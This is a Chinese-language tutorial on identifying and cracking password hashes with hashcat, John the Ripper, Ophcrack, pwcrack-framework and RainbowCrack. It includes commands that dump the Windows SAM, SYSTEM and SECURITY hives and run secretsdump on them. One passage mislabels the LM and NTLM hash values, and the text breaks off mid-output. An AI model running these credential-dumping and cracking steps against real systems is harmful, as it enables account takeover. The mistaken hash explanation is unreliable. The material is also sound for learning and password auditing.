'$P$8ohUJ.1sdFw09/bMaAQPTGDNi2BIUt1'[+] Wordpress ≥ v2.6.2 [Hashcat Mode: 400][+] Joomla ≥ v2.5.18 [Hashcat Mode: 400][+] PHPass' Portable Hash [Hashcat Mode: 400]┌──(root㉿kill3r)-[/opt]└─# hashid '$racf$*AAAAAAAA*3c44ee7f409c9a9b' -mAnalyzing '$racf$*AAAAAAAA*3c44ee7f409c9a9b'[+] RACF [Hashcat Mode: 8500] HashCathashcat简介 Hashcat是自称世界上最快的密码恢复工具.它在2015年之前拥有专有代码库,但现在作为免费软件发布.适用于Linux,OS X和Windows的版本可以使用基于CPU或基于GPU的变体.支持hashcat的散列算法有Microsoft LM哈希,MD4,MD5,SHA系列,Unix加密格式,MySQL和Cisco PIX等. hashcat支持多种计算核心: 123456GPUCPUAPUDSPFPGACoprocessor GPU的驱动要求 123456AMD GPUs on Linux require "RadeonOpenCompute (ROCm)" Software Platform (1.6.180 or later)AMD GPUs on Windows require "AMD Radeon Software Crimson Edition" (15.12 or later)Intel CPUs require "OpenCL Runtime for Intel Core and Intel Xeon Processors" (16.1.1 or later)Intel GPUs on Linux require "OpenCL 2.0 GPU Driver Package for Linux" (2.0 or later)Intel GPUs on Windows require "OpenCL Driver for Intel Iris and Intel HD Graphics"NVIDIA GPUs require "NVIDIA Driver" (367.x or later) hashcat常用命令1234567891011121314-r 使用自定义破解规则 -o 指定破解成功后的 hash 及所对应的明文密码的存放位置 -m 指定要破解的 hash 类型,如果不指定类型,则默认是 MD5 -a 指定要使用的破解模式,其值参考后面对参数."-a 0" 字典攻击,"-a 1" 组合攻击;"-a 3" 掩码攻击 -D 指定 opencl 的设备类型 --show 显示已经破解的 hash 及该 hash 所对应的明文 --force 忽略破解过程中的警告信息,跑单条 hash 可能需要加上此选项 --remove 删除已被破解成功的 hash --username 忽略 hash 文件中的指定的用户名,在破解 linux 系统用户密码 hash 可能会用到 --increment 启用增量破解模式,你可以利用此模式让 hashcat 在指定的密码长度范围内执行破解过程 --increment-min 密码最小长度,后面直接等于一个整数即可,配置 increment 模式一起使用 --increment-max 密码最大长度,同上 --outfile-format 指定破解结果的输出格式 id ,默认是 3 --self-test-disable 关闭启动自检 123456# -a 破解模式:0 | Straight (字典破解) 1 | Combination (组合破解) 3 | Brute-force (掩码暴力破解) 6 | Hybrid Wordlist + Mask(字典+掩码破解) 7 | Hybrid Mask + Wordlist(掩码+字典破解) 12345# -D 指定设备类型:1 | CPU2 | GPU3 | FPGA, DSP, Co-Processor# 一般使用 -D 2 指定 GPU 破解 123456789# 掩码设置:l | abcdefghijklmnopqrstuvwxyz 纯小写字母 u | ABCDEFGHIJKLMNOPQRSTUVWXYZ 纯大写字母 d | 0123456789 纯数字 h | 0123456789abcdef 十六进制小写字母和数字 H | 0123456789ABCDEF 十六进制大写字母和数字 s | !"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ 特殊字符 a | ?l?u?d?s 键盘上所有可见的字符 b | 0x00 - 0xff 匹配密码空格 12345678# 掩码设置举例:八位数字密码: ?d?d?d?d?d?d?d?d 八位未知密码: ?a?a?a?a?a?a?a?a 前四位为大写字母,后面四位为数字: ?u?u?u?u?d?d?d?d 前四位为数字或者是小写字母,后四位为大写字母或者数字: ?h?h?h?h?H?H?H?H 前三个字符未知,中间为admin,后三位未知: ?a?a?aadmin?a?a?a 6-8位数字密码: --increment --increment-min 6 --increment-max 8 ?d?d?d?d?d?d?d?d 6-8位数字+小写字母密码: --increment --increment-min 6 --increment-max 8 ?h?h?h?h?h?h?h?h 12345678910# 自定义掩码规则:--custom-charset1 [chars]等价于 -1 --custom-charset2 [chars]等价于 -2 --custom-charset3 [chars]等价于 -3 --custom-charset4 [chars]等价于 -4# 在掩码中用 ?1、?2、?3、?4 来表示注意:–custom-charset1 abcd ?1?1?1?1?1 等价于 -1 abcd ?1?1?1?1?1-3 abcdef -4 123456 ?3?3?3?3?4?4?4?4 表示前四位可能是 adbcdef,后四位可能是 123456 hash id 对照表123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115因为实在是太多了,所有我就贴一部分常见的hash类型,要想了解所有的参数可到hashcat的Wiki上去看,或者直接hashcat --help查看hash对照表 # | Name | Category 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash 1300 | SHA2-224 | Raw Hash 1400 | SHA2-256 | Raw Hash 10800 | SHA2-384 | Raw Hash 1700 | SHA2-512 | Raw Hash 17300 | SHA3-224 | Raw Hash 17400 | SHA3-256 | Raw Hash 17500 | SHA3-384 | Raw Hash 17600 | SHA3-512 | Raw Hash 10 | md5($pass.$salt) | Raw Hash, Salted and/or Iterated 20 | md5($salt.$pass) | Raw Hash, Salted and/or Iterated 30 | md5(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated 40 | md5($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated 3800 | md5($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated 3710 | md5($salt.md5($pass)) | Raw Hash, Salted and/or Iterated 4010 | md5($salt.md5($salt.$pass)) | Raw Hash, Salted and/or Iterated 4110 | md5($salt.md5($pass.$salt)) | Raw Hash, Salted and/or Iterated 2600 | md5(md5($pass)) | Raw Hash, Salted and/or Iterated 3910 | md5(md5($pass).md5($salt)) | Raw Hash, Salted and/or Iterated 4300 | md5(strtoupper(md5($pass))) | Raw Hash, Salted and/or Iterated 4400 | md5(sha1($pass)) | Raw Hash, Salted and/or Iterated 110 | sha1($pass.$salt) | Raw Hash, Salted and/or Iterated 120 | sha1($salt.$pass) | Raw Hash, Salted and/or Iterated 130 | sha1(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated 140 | sha1($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated 4500 | sha1(sha1($pass)) | Raw Hash, Salted and/or Iterated 4520 | sha1($salt.sha1($pass)) | Raw Hash, Salted and/or Iterated 4700 | sha1(md5($pass)) | Raw Hash, Salted and/or Iterated 4900 | sha1($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated 14400 | sha1(CX) | Raw Hash, Salted and/or Iterated 1410 | sha256($pass.$salt) | Raw Hash, Salted and/or Iterated 1420 | sha256($salt.$pass) | Raw Hash, Salted and/or Iterated 1430 | sha256(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated 1440 | sha256($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated 1710 | sha512($pass.$salt) | Raw Hash, Salted and/or Iterated 1720 | sha512($salt.$pass) | Raw Hash, Salted and/or Iterated 1730 | sha512(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated 1740 | sha512($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated 14000 | DES (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack 14100 | 3DES (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack 14900 | Skip32 (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack 15400 | ChaCha20 | Raw Cipher, Known-Plaintext attack 2500 | WPA-EAPOL-PBKDF2 | Network Protocols 2501 | WPA-EAPOL-PMK | Network Protocols 16800 | WPA-PMKID-PBKDF2 | Network Protocols 16801 | WPA-PMKID-PMK | Network Protocols 7300 | IPMI2 RAKP HMAC-SHA1 | Network Protocols 7500 | Kerberos 5 AS-REQ Pre-Auth etype 23 | Network Protocols 8300 | DNSSEC (NSEC3) | Network Protocols 10200 | CRAM-MD5 | Network Protocols 11100 | PostgreSQL CRAM (MD5) | Network Protocols 11200 | MySQL CRAM (SHA1) | Network Protocols 16100 | TACACS+ | Network Protocols 16500 | JWT (JSON Web Token) | Network Protocols 121 | SMF (Simple Machines Forum) > v1.1 | Forums, CMS, E-Commerce, Frameworks 400 | phpBB3 (MD5) | Forums, CMS, E-Commerce, Frameworks 2811 | MyBB 1.2+ | Forums, CMS, E-Commerce, Frameworks 2811 | IPB2+ (Invision Power Board) | Forums, CMS, E-Commerce, Frameworks 8400 | WBB3 (Woltlab Burning Board) | Forums, CMS, E-Commerce, Frameworks 11 | Joomla < 2.5.18 | Forums, CMS, E-Commerce, Frameworks 400 | Joomla >= 2.5.18 (MD5) | Forums, CMS, E-Commerce, Frameworks 400 | WordPress (MD5) | Forums, CMS, E-Commerce, Frameworks 2612 | PHPS | Forums, CMS, E-Commerce, Frameworks 7900 | Drupal7 | Forums, CMS, E-Commerce, Frameworks 21 | osCommerce | Forums, CMS, E-Commerce, Frameworks 21 | xt:Commerce | Forums, CMS, E-Commerce, Frameworks 11000 | PrestaShop | Forums, CMS, E-Commerce, Frameworks 124 | Django (SHA-1) | Forums, CMS, E-Commerce, Frameworks 10000 | Django (PBKDF2-SHA256) | Forums, CMS, E-Commerce, Frameworks 12 | PostgreSQL | Database Server 131 | MSSQL (2000) | Database Server 132 | MSSQL (2005) | Database Server 1731 | MSSQL (2012, 2014) | Database Server 200 | MySQL323 | Database Server 300 | MySQL4.1/MySQL5 | Database Server 3100 | Oracle H: Type (Oracle 7+) | Database Server 112 | Oracle S: Type (Oracle 11+) | Database Server 12300 | Oracle T: Type (Oracle 12+) | Database Server 8000 | Sybase ASE | Database Server 15000 | FileZilla Server >= 0.9.55 | FTP Server 11500 | CRC32 | Checksums 3000 | LM | Operating Systems 1000 | NTLM | Operating Systems 500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating Systems 3200 | bcrypt $2*$, Blowfish (Unix) | Operating Systems 7400 | sha256crypt $5$, SHA256 (Unix) | Operating Systems 1800 | sha512crypt $6$, SHA512 (Unix) | Operating Systems 122 | macOS v10.4, MacOS v10.5, MacOS v10.6 | Operating Systems 1722 | macOS v10.7 | Operating Systems 7100 | macOS v10.8+ (PBKDF2-SHA512) | Operating Systems 11600 | 7-Zip | Archives 12500 | RAR3-hp | Archives 13000 | RAR5 | Archives 13600 | WinZip | Archives 9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Documents 9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Documents 9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Documents 9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | Documents 9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1 | Documents 9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2 | Documents 9400 | MS Office 2007 | Documents 9500 | MS Office 2010 | Documents 9600 | MS Office 2013 | Documents 10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4) | Documents 10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 | Documents 10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 | Documents 10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8) | Documents 10600 | PDF 1.7 Level 3 (Acrobat 9) | Documents 10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) | Documents 99999 | Plaintext | Plaintext 暴力破解MD5值 使用字典进行破解:hashcat -m 0 -a 0 0192023a7bbd73250516f069df18b500 top3000.txt --force --show 使用指定字符集进行破解:hashcat -a 3 -m 0 63a9f0ea7bb98050796b649e85481845 ?l?l?l?l --force --show 使用字典+掩码进行破解:hashcat -a 6 -m 0 1844156d4166d94387f1a4ad031ca5fa rockyou.txt ?d?d?d --force 使用掩码+字典进行破解:hashcat -a 7 -m 0 1844156d4166d94387f1a4ad031ca5fa ?d?d?d rockyou.txt --force 经过测试,这里的掩码+字典组合破解,不是说简单的将掩码和字典的内容合并去重形成 1 个字典进行去重,而是说掩码的内容加上字典的内容组合成一个字典 如果破解时间太长,我们可以按s键查看破解进度,p键暂停,r键继续破解,q键退出破解 破解windows系统密码首先,执行以下命令通过reg的save选项将注册表中的SAM、System文件导出到本地磁盘. 以管理员权限运行cmd!!! 123reg save HKLM\\SYSTEM system.savereg save HKLM\\SAM sam.savereg save HKLM\\SECURITY security.save 将这三个文件拷贝到kali中 执行以下命令获取计算机账号原始Hash 123456789101112131415161718192021222324252627282930313233┌──(root㉿kill3r)-[/home/kill3r]└─# impacket-secretsdump -sam sam.save -system system.save -security security.save LOCALImpacket v0.10.0 - Copyright 2022 SecureAuth Corporation[*] Target system bootKey: 0xe7af37b33872d8355dd3e7d06a54a2de[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:ef04605d66ffa6396d535bb157a6f802:::test:1001:aad3b435b51404eeaad3b435b51404ee:0cb6948805f797bf2a82807973b89537:::[*] Dumping cached domain logon information (domain/username:hash)[*] Dumping LSA Secrets[*] DPAPI_SYSTEMdpapi_machinekey:0xad14af85abe351048c63c486067b2428ce493627dpapi_userkey:0x46711e623e1d8e4ceec4413a89ee518dd0160c44[*] NL$KM 0000 53 0A 12 4E 1F E9 1C 75 E0 AD A1 A5 2A 74 BC C7 S..N...u....*t.. 0010 2B 19 06 05 9F D1 48 BA E8 53 36 17 46 FC 5F 6E +.....H..S6.F._n 0020 5D C1 27 D5 71 57 7A 5D BA 3B 76 45 02 92 0D 50 ].'.qWz].;vE...P 0030 AA F5 D2 BC C8 11 26 FF BA 4D 64 3A CD EA 9F B1 ......&..Md:....NL$KM:530a124e1fe91c75e0ada1a52a74bcc72b1906059fd148bae853361746fc5f6e5dc127d571577a5dba3b764502920d50aaf5d2bcc81126ffba4d643acdea9fb1[*] Cleaning up...test:1001:aad3b435b51404eeaad3b435b51404ee:0cb6948805f797bf2a82807973b89537:::用户名:在这种情况下,用户名是 "test".密码哈希:NTLM 哈希是 "aad3b435b51404eeaad3b435b51404ee".LM 哈希:LM 哈希被表示为空,即 "31d6cfe0d16ae931b73c59d7e0c089c0". 12345┌──(root㉿kill3r)-[/home/kill3r]└─# hashcat -a 0 -m 1000 0cb6948805f797bf2a82807973b89537 /opt/PasswordDic/用户名和密码/密码/15w密码字典.txt┌──(root㉿kill3r)-[/home/kill3r]└─# hashcat -a 0 -m 1000 0cb6948805f797bf2a82807973b89537 /opt/PasswordDic/用户名和密码/密码/15w密码字典.txt --show0cb6948805f797bf2a82807973b89537:test John the RipperJohn John the Ripper是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文,支持目前大多数的加密算法,如DES、MD4、MD5等.它支持多种不同类型的系统架构,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不够牢固的Unix/Linux系统密码.除了在各种Unix系统上最常见的几种密码哈希类型之外,它还支持Windows LM散列,以及社区增强版本中的许多其他哈希和密码.它是一款开源软件.Kali中自带John 可执行文件位置: /usr/sbin/john 密码字典所在目录: /usr/share/john/ john - John the Ripper密码破解器123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354┌──(root㉿kill3r)-[/opt]└─# johnJohn the Ripper密码破解器,版本: 1.7.9-jumbo-7_omp [linux-x86-sse2]版权所有 (c) 1996-2012 Solar Designer和其他人主页: http://www.openwall.com/john/用法: john [选项] [密码文件]--config=FILE 使用FILE而不是john.conf或john.ini--single[=SECTION] "single crack"模式--wordlist[=FILE] --stdin 从文件或stdin读取单词的wordlist模式 --pipe 像--stdin一样,但批量读取,并允许规则--loopback[=FILE] 类似于--wordlist,但从.pot文件中获取单词--dupe-suppression 在wordlist中禁止所有重复项(并强制预加载)--encoding=NAME 输入数据为非ASCII(例如UTF-8,ISO-8859-1). 要查看NAME的完整列表,请使用--list=encodings--rules[=SECTION] 启用wordlist模式的单词篡改规则--incremental[=MODE] "incremental"模式[使用节MODE]--markov[=OPTIONS] "Markov"模式(参见doc/MARKOV)--external=MODE 外部模式或单词过滤器--stdout[=LENGTH] 仅输出候选密码[最多LENGTH个字符]--restore[=NAME] 恢复中断的会话[名为NAME]--session=NAME 为新会话指定名称NAME--status[=NAME] 打印会话的状态[名为NAME]--make-charset=FILE 创建字符集文件.它将被覆盖--show[=LEFT] 显示破解的密码[如果=LEFT,则未破解]--test[=TIME] 运行测试和基准,每个测试持续TIME秒--users=[-]LOGIN|UID[,..] [不]仅加载此(这些)用户--groups=[-]GID[,..] [不]仅加载具有此(这些)组的用户--shells=[-]SHELL[,..] [不]仅加载具有此(这些)shell的用户--salts=[-]COUNT[:MAX] [无]加载COUNT [至MAX]个哈希的盐--pot=NAME 要使用的pot文件--format=NAME 强制使用哈希类型NAME: afs bf bfegg bsdi crc32 crypt des django dmd5 dominosec dragonfly3-32 dragonfly3-64 dragonfly4-32 dragonfly4-64 drupal7 dummy dynamic_n epi episerver gost hdaa hmac-md5 hmac-sha1 hmac-sha224 hmac-sha256 hmac-sha384 hmac-sha512 hmailserver ipb2 keepass keychain krb4 krb5 lm lotus5 md4-gen md5 md5ns mediawiki mscash mscash2 mschapv2 mskrb5 mssql mssql05 mysql mysql-sha1 nethalflm netlm netlmv2 netntlm netntlmv2 nsldap nt nt2 odf office oracle oracle11 osc pdf phpass phps pix-md5 pkzip po pwsafe racf rar raw-md4 raw-md5 raw-md5u raw-sha raw-sha1 raw-sha1-linkedin raw-sha1-ng raw-sha224 raw-sha256 raw-sha384 raw-sha512 salted-sha1 sapb sapg sha1-gen sha256crypt sha512crypt sip ssh sybasease trip vnc wbb3 wpapsk xsha xsha512 zip--list=WHAT 列出功能,参见--list=help或doc/OPTIONS--save-memory=LEVEL 启用内存节省,在LEVEL 1..3之间--mem-file-size=SIZE 用于wordlist预加载的大小阈值(默认为5 MB)--nolog 禁止创建和写入john.log文件--crack-status 每次破解密码时发出状态行--max-run-time=N 在N秒后平滑退出--regen-lost-salts=N 重新生成丢失的盐(参见doc/OPTIONS)--plugin=NAME[,..] 加载此(这些)动态插件 john 使用示例123456echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' >1┌──(root㉿kill3r)-[/opt]└─# john 1 --show?:snoopy1 password hash cracked, 0 left john 破解windows密码12345678910111213141516171819202122┌──(root㉿kill3r)-[/home/kill3r]└─# echo '0cb6948805f797bf2a82807973b89537' > 1.txt# 执行以下命令进行破解┌──(root㉿kill3r)-[/home/kill3r]└─# john 1.txt -format=NTUsing default input encoding: UTF-8Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])Warning: no OpenMP support for this hash type, consider --fork=4Proceeding with single, rules:SinglePress 'q' or Ctrl-C to abort, almost any other key for statusAlmost done: Processing the remaining buffered candidate passwords, if any.Proceeding with wordlist:/usr/share/john/password.lsttest (?)1g 0:00:00:00 DONE 2/3 (2023-08-15 18:08) 100.0g/s 38400p/s 38400c/s 38400C/s lacrosse..larryUse the "--show --format=NT" options to display all of the cracked passwords reliablySession completed.┌──(root㉿kill3r)-[/home/kill3r]└─# john 1 -format=NT --show?:test1 password hash cracked, 0 left Ophcrack Ophcrack 是一款流行的开源密码破解工具,用于恢复 Windows 系统用户密码.Ophcrack 使用预先计算的彩虹表(rainbow table)来加快密码破解过程.彩虹表是一种密码哈希值和对应明文密码的大规模预计算表格,可以显著提高密码破解效率. 简单使用1234567891011121314151617181920212223242526272829303132333435363738┌──(root㉿kill3r)-[/opt/PasswordDic/密码]└─# ophcrack-cliophcrack 3.8.0由Objectif Securite(http://www.objectif-securite.ch)开发用法:ophcrack [OPTIONS]使用彩虹表破解Windows密码 -a 禁用审计模式(默认) -A 启用审计模式 -b 禁用暴力破解 -B 启用暴力破解(默认) -c config_file 指定要使用的配置文件 -D 显示(大量的!)调试信息 -d dir 指定表的基本目录 -e 不显示空密码 -f file 从指定的文件加载哈希值(pwdump或会话) -g 禁用图形用户界面(GUI) -h 显示此信息 -i 隐藏用户名 -I 显示用户名(默认) -l file 将所有输出记录到指定的文件 -n num 指定要使用的线程数 -o file 将破解结果以pwdump格式写入文件 -p num 预加载(0无,1索引,2索引+结束,3全部默认) -q 静默模式 -r 在ophcrack启动时启动破解(仅限GUI) -s 禁用会话自动保存 -S session_file 指定用于自动保存搜索进度的文件 -u 破解结束时显示统计信息 -t table1[,a[,b,...]][:table2[,a[,b,...]]] 指定要在-d给出的目录中使用的表 -v 冗长模式 -w dir 从目录dir中的加密SAM文件加载哈希值 -x file 将数据以CSV格式导出到文件示例:ophcrack -g -d /path/to/tables -t xp_free_fast,0,3:vista_free -f in.txt使用命令行启动ophcrack,使用路径/path/to/tables/xp_free_fast中的表0和3以及路径/path/to/tables/vista_free中的所有表,并破解来自in.txt文件的哈希值# tables可通过https://ophcrack.sourceforge.io/tables.php下载 pwcrack-framework12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364┌──(root㉿kill3r)-[/opt/pwcrack]└─# git clone https://github.com/L-codes/pwcrack-framework┌──(root㉿kill3r)-[/opt/pwcrack]└─# cd pwcrack-framework┌──(root㉿kill3r)-[/opt/pwcrack/pwcrack-framework]└─# bundle update┌──(root㉿kill3r)-[/opt/pwcrack/pwcrack-framework]└─# bundle install┌──(root㉿kill3r)-[/opt/pwcrack/pwcrack-framework]└─# banner view┌──(root㉿kill3r)-[/opt/pwcrack/pwcrack-framework]└─# ./pwcrack banner "$$$$$$'' 'M$ '$$$@m :$$$$$$$$$$$$$$''$$$$' '$' 'JZI'$$& $$$$' '$$$ '$$$$ $$$$ J$$$$' m$$$$ $$$$, $$$$@ '$$$$_ pwcrack-framework '1t$$$$' '$$$$< '$$$$$$$$$$' $$$$ version 1.19.0 '@$$$$' $$$$' '$$$$ '$$$@ 'z$$$$$$ @$$$ r$$$ $$| '$$v c$$ '$$v $$v$$$$$$$$$# $$x$$$$$$$$$twelve$$$@$' @$$$@L ' '<@$$$$$$$$` $$ '$$$ [ Github ] https://github.com/L-codes/pwcrack-framework [ Plugin Count ] Online Plugin: 23 Offline Plugin: 37 supporting algorithms: 60 [ Algorithm Plugin Count ] serv_u: 21 md5: 21 sha1: 13 dedecms: 10 md5_16: 10 mysql: 8 ntlm: 7 sha512: 7 sha256: 7 mysql3: 6 md4: 4 lm: 4 sha384: 3 mssql: 2 zfsoft: 1 xshell: 1 xftp: 1 websphere: 1 uportal2800: 1 trswcm: 1 signer: 1 seeyon_nc: 1 seeyon_analyze_icloud: 1 seeyon_a8: 1 securecrt_v2: 1 securecrt: 1 richmail: 1 qizhi_php: 1 navicat12: 1 navicat11: 1 mobaxterm: 1 mac_osx_vnc: 1 lsrunase: 1 landray_ekp: 1 juniper_type9: 1 interlib: 1 h3c_imc: 1 h3c_huawei: 1 h3c_cvm: 1 grafana: 1 gpp: 1 foxmail: 1 foxmail6: 1 flashfxp: 1 finereport: 1 finalshell: 1 filezilla: 1 druid_rsa: 1 dongao_rc4: 1 whirlpool: 1 sha224: 1 ripemd320: 1 ripemd256: 1 ripemd160: 1 ripemd128: 1 mdc2: 1 md2: 1 dahan_jis: 1 d3des_vnc: 1 cisco_vpn: 1 cisco_type7: 1 用法12345678910111213141516171819用法: ./pwcrack [选项] (密文|获取|横幅|初始化数据库) [算法...]-q, --quiet 发现明文后立即退出-t, --timeout 秒 指定请求超时时间 [默认值: 4]-o, --open-timeout 秒 指定TCP打开超时时间 [默认值: 8]-r, --retry 次数 重试次数 [默认值: 1]-i, --retry-interval 秒 重试间隔秒数 [默认值: 0.5]-s, --select 插件名称 指定插件 (插件1[,插件2...])-x, --proxy "协议://IP:端口" 设置代理-v, --verbose 以详细模式运行-d, --debug 以调试模式运行--nocolor 禁用彩色输出--version 显示版本使用示例:./pwcrack banner./pwcrack initdb./pwcrack e10adc3949ba59abbe56e057f20f883e./pwcrack e10adc3949ba59abbe56e057f20f883e md5./pwcrack base64:ZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UK -s pmd5 简单使用1234567891011121314151617181920212223242526272829303132333435┌──(root㉿kill3r)-[/opt/pwcrack/pwcrack-framework]└─# ./pwcrack e10adc3949ba59abbe56e057f20f883e[+] Cipher Algorithm: MD2 or MD4 or MD5 or MDC2 or LM or NTLM or RIPEMD128 or RICHMAIL or UPORTAL2800 or NAVICAT12 or INTERLIB or FOXMAIL or FOXMAIL6 or FLASHFXP or NAVICAT11 or SECURECRT or D3DES_VNC or SEEYON_NC or SEEYON_ANALYZE_ICLOUD( 0.69s) bugbank: 123456( 0.69s) cmd5la: 包含123456的字符串( 0.64s) ttmd5: 123456( 0.78s) localdb: 123456( 2.09s) hashes: 123456( 2.18s) gromweb: 123456( 2.22s) md5_my_addr: 123456( 2.87s) dehash: 123456( 2.88s) md5cracker: 123456[+] PWCrack (9/33) in 21.21 seconds.┌──(root㉿kill3r)-[/opt/pwcrack/pwcrack-framework]└─# ./pwcrack e10adc3949ba59abbe56e057f20f883e md5[+] Cipher Algorithm: MD5( 0.40s) cmd5la: 包含123456的字符串( 0.45s) localdb: 123456( 0.38s) ttmd5: 123456( 0.41s) bugbank: 123456( 0.74s) cmd5: 123456( 1.00s) cmd5en: 123456( 1.17s) md5_my_addr: 123456( 1.85s) gromweb: 123456( 1.84s) md5cracker: 123456( 4.13s) hashes: 123456( 6.30s) dehash: 123456[+] PWCrack (11/21) in 20.61 seconds. RainbowCrack 基于时间记忆权衡技术生成彩虹表 提前计算密码的HASH值,通过比对HASH值破解密码 计算HASH的速度很慢,修改版支持CUDA GPU Kali中包含的RainbowCrack工具 rtgen:预计算,生成彩虹表,耗时的阶段 rtsort:对rtgen生成的彩虹表进行排序 tcrack:查找彩虹表破解密码 以上命令必须顺序使用 简介彩虹表攻击(RainbowCrack)是利用彩虹表来破解哈希数据的工具.它实现了由PhILippe Oechslin提倡的”以空间换时间”的技术思想 在进行彩虹表离线破解时,我们需要拥有目标Hash散列值 暴力破解这种密码破解的方式有别于暴力破解,暴力破解攻击首先计算密码的备选值(字典里的密码)的Hash值,然后再将计算出来的Hash与获取到的Hash进行对比,如果这两个值相等,则确定Hash的原始内容即是密码;否则就说明密码不正确 彩虹表破解法彩虹表破解的效率也高于暴力破解法,因为暴力破解法必须计算字典内容的Hash值然后进行匹配,而使用\"以空间换时间\"技术的彩虹表破解法,实现就计算好了字典各项的Hash值,破解过程只是简单的数值比较,所以效率更高 彩虹表的组成方式彩虹表的组成方式实际是以指定数量,或者无数条彩虹链组成的 RainbowCrack implements Kali Linux收录了RainbowCrack的三大工具.在破解Hash时,您必须依次使用这些工具. rtgen:生成彩虹表的程序.生成彩虹表的计算过程也被称为彩虹表的预计算阶段.彩虹表包含字典、哈希值、哈希算法、字符集以及字典的长度范围.彩虹表的预计算相当费时.但是生成彩虹表之后,彩虹表破解法将比暴力破解法的效率要高上不少.rtgen程序支持的算法有LanMan、NTLM、MD2、MD4、MD5、SHA1以及RIPEMD160 rtsort:对rtgen生成的彩虹表进行排序的工具 rcrack:利用彩虹表查找哈希值的工具 而Windows端我们使用rainbowcrack即可 rtgen生成rtgen支持算法:LanMan、NTLM、MD2、MD4、MD5、SHA1以及RIPEMD160 本次操作实例为使用rtgen生成MD5彩虹表 在Kali Linux中使用rtgen生成的彩虹表都默认保存在该目录下:/usr/share/rainbowcrack 运行该工具输出帮助命令 1234567891011121314151617181920┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtgen RainbowCrack 1.8版权所有2020年彩虹表项目.保留所有权利.http://project-rainbowcrack.com/用法: rtgen 哈希算法 字符集 最小明文长度 最大明文长度 表索引 链长度 链数量 分块索引rtgen 哈希算法 字符集 最小明文长度 最大明文长度 表索引 -bench已实现的哈希算法: lm HashLen=8 PlaintextLen=0-7 ntlm HashLen=16 PlaintextLen=0-15 md5 HashLen=16 PlaintextLen=0-15 sha1 HashLen=20 PlaintextLen=0-20 sha256 HashLen=32 PlaintextLen=0-20示例: rtgen md5 loweralpha 1 7 0 1000 1000 0 rtgen md5 loweralpha 1 7 0 -bench 可以分析看到,rtgen通过不同的数字限制操作生成的彩虹表面积 同时指定loweralpha以生成为abcdefghjklmnopqrstuvwxyz的rainbow tables 参数分析 code explanation hash_algorithm 该参数以指定Hash算法目前rtgen支持算法如下:lm、ntlm、md5、sha1、mysqlsha1、halflmchall、ntlmchall、oracle-SYSTEM和md5-half charset 该参数以指定不同的字符集,包括了明文所有可能字符,该参数在配置文件/usr/share/rainbowcrack/charset.txt中被定义,其中包括其他指定 plaintext_len_min 该参数指定为使用明文生成的最小长度 plaintext_len_max 该参数指定为使用明文生成的最大长度,两个参数是共同作用,如果我们指定为loweralpha 1 7 那么则会生成a-f的不同长度彩虹链 table_index 该参数指定归约函数,关于归约函数的概念我们上方提过了,以及简述生成彩虹表的归约函数不同又有什么作用 chain_len 该参数指定每一条彩虹链的长度,更长的彩虹链存储更多的明文,需要更长的时间来生成 chain_num 该参数指定要生成彩虹链的数量,彩虹表只是彩虹链的阵列.每个彩虹链的大小为16个字节 part_index 该参数意义忽视即可,在生成彩虹表时,均以0值操作 生成彩虹表 通常情况下,我们会生成彩虹表使用不同的归约函数,来代替庞大的彩虹链数量,以节省时间,同时提高成功率 这里就生成两张彩虹表参考即可 最终生成的彩虹表会在其默认目录下/usr/share/rainbowcrack 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071# 生成以MD5散列值、明文组合为a-z最小长度为1,最大长度为10的彩虹表,并且每一条彩虹链长度为2000,增加我们生成的彩虹表大小,生成8000个彩虹链,最终组成彩虹表┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtgen md5 loweralpha 1 10 0 2000 80000 0rainbow table md5_loweralpha#1-10_0_2000x80000_0.rt parametershash algorithm: md5hash length: 16charset name: loweralphacharset data: 